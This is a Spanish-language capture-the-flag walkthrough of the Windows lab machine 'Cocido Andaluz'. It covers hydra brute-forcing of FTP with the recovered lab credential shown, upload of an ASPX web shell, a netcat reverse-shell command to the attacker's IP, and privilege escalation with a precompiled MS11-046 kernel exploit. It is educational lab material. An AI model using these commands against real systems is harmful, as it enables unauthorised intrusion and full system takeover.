Cocido Andaluz

Hola Hacker, bienvenid@ a otro post.

En este articulo, estaremos resolviendo la máquina Cocido Andaluz de la plataforma The Hackers Labs. Si aún no conoces la plataforma, te animo a que la explores y te unas a la comunidad en Discord, donde compartimos y aprendemos juntos.

Ahora si, vamos a la máquina.

Reconocimiento

Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima. Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

Parámetros utilizados:

  • -sS: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.

  • -sCV: Es la combinación de los parámetros -sC y -sV. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.

  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535).

  • --open: Solo considerar puertos abiertos.

  • --min-rate 5000: Establece el número mínimo de paquetes que nmap enviará por segundo.

  • -Pn: Desactiva el descubrimiento de host por medio de ping.

  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.

  • -oG: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.

Enumeración de servicios

Si enumeramos el servicio SMB a través de una null session, vemos que no tenemos exito.

Intentamos con el usuario anonymous y guest, pero tampoco logramos enumerar nada.

Web

Si accedemos a la web que esta corriendo bajo el puerto 80, nos encontramos con una página html similar a la que presenta una instancia por defecto de Apache. Pero, en realidad el servidor web que esta corriendo en la máquina víctima es IIS tal como vimos en la enumeración realizada con Nmap.

Podemos confirmar esto por medio de Wappalyzer.

Si realizamos web fuzzing para descubrir posibles rutas y archivos utilizando extensiones como html, php, txt, aspx, no encontraremos ningun recurso.

Por lo tanto, podemos probar con el servicio FTP.

FTP

Si intentamos loguearnos como el usuario anonymous, no tendremos exito. Por lo que una vía posible es realizar fuerza bruta a este servicio utilizando la herramienta hydra.

Llevamos a cabo el ataque de fuerza bruta utilizando dos diccionarios, uno para los usuarios y otro para las contraseñas, en este caso, el conocido rockyou.txt.

hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.6 -I -t 4

Después de un cierto tiempo realizando fuerza bruta con estos diccionarios y sin tener exito, decidi cambiar a otro dicionario de contraseñas, en este caso, el contemplado dentro de seclists xato-net-10-million-passwords.txt.

hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords.txt ftp://192.168.1.6 -I -t 4

Luego de un par de minutos, logramos obtener credenciales validas para este servicio.

info:PolniyPizdec0211

Ahora que tenemos credenciales validas nos logueamos al servicio ftp.

Podemos observar, que existen dos archivos y un directorio. Confirmamos que estos archivos pertenecen al servidor web visualizando la imágen welcome.png desde nuestro navegador.

Genial. Ahora que tenemos acceso al servicio FTP, podemos subir una web shell.

Para ello, utilizaremos la web shell cmdasp.aspx la cual podemos encontrar en Kali bajo el directorio /usr/share/webshells/aspx/cmdasp.aspx.

La subimos al servidor por medio de ftp.

Ingresamos a la web y observamos que ya podemos ejecutar comandos a través de nuestra web shell.

Para ganar acceso al sistema, crearemos un recurso compartido con impacket-smbserver a través del cual compartiremos el binario de nc.exe de 32 bits ya que la máquina tiene esta arquitectura, la cual podemos comprobar con netexec/crackmapexec.

Para crear el recurso compartido, haré uso de una utilidad que tengo en mi .zshrc la cual, no es más que una función que crea un recurso compartido usando impacket-smbserver.

Teniendo en nuestro directorio el binario de nc.exe el cual podemos copiar en Kali de la ruta /usr/share/windows-resources/binaries/nc.exe creamos el recurso compartido.

serv.smb

Nos ponemos en escucha con nectcat por el puerto 80 haciendo uso de rlwrap para tener una terminal más interativa y utilizar CTRL + L.

rlwrap nc -lnvp 443

Ejecutamos en nuestra web shell el siguiente comando:

\\192.168.1.15\sharedFolder\nc.exe -e cmd 192.168.1.15 443

Ganamos acceso al sistema.

Leemos la flag de user.txt

Elevación de privilegios

Podemos enumerar el sistema para ver formas de escalar nuestros privilegios.

Enumeración del sistema systeminfo.

Para escalar nuestros privilegios utilizamos Windows Exploit Suggester.

En primer lugar, debemos guardar el resultado de la ejecución del comando systeminfo en un archivo, por ejemplo: systeminfo.txt.

Nos clonamos el repositorio:

git clone https://github.com/bitsadmin/wesng

Luego, debemos ejecutar el siguiente comando:

python3 wes.py -e /home/d4redevil/ctfs/thl/CocidoAndaluz/content/systeminfo.txt -i 'Elevation of Privilege'

El parámeotro -e lista solo vulnerabilidades con exploits. Por otra parte, el parámetro -i solo muestra aquellas vulnerabilidades que tienen cierto impacto, en este caso, nos interesa elevar nuestros privilegios.

La ejecución del script, nos devuelve varios resultados y exploits que podemos utilizar para escalar nuestros privilegios. En este caso, utilizaré Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046) el cual explota directamente el Kernel y nos permite elevar nuestros privilegios.

El exploit, lo podemos encontrar aquí o lo que es lo mismo, buscando con la utilidad searchsploit.

Sin embargo, en lugar de compilar el código por nuestra cuenta utilizaremos un binario ya compilado.

Dicho ejecutable, lo podemos descargar de la siguiente enlace.

Lo descargamos a nuestra máquina y nuevamente creamos el recurso compartido.

Nos movemos a un directorio donde tengamos capacidad de escritura, como por ejemplo C:\Windows\Temp y descargamos el exploit.

copy \\192.168.1.15\sharedFolder\ms11-046.exe .

Ejecutamos el exploit y escalamos nuestros privilegios a nt authority\system.

De esta forma ya podemos leer la flag de root.txt

Concluimos la resolución de la máquina Cocido Andaluz.

Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

¡Gracias por leer!

Happy Hacking!

Última actualización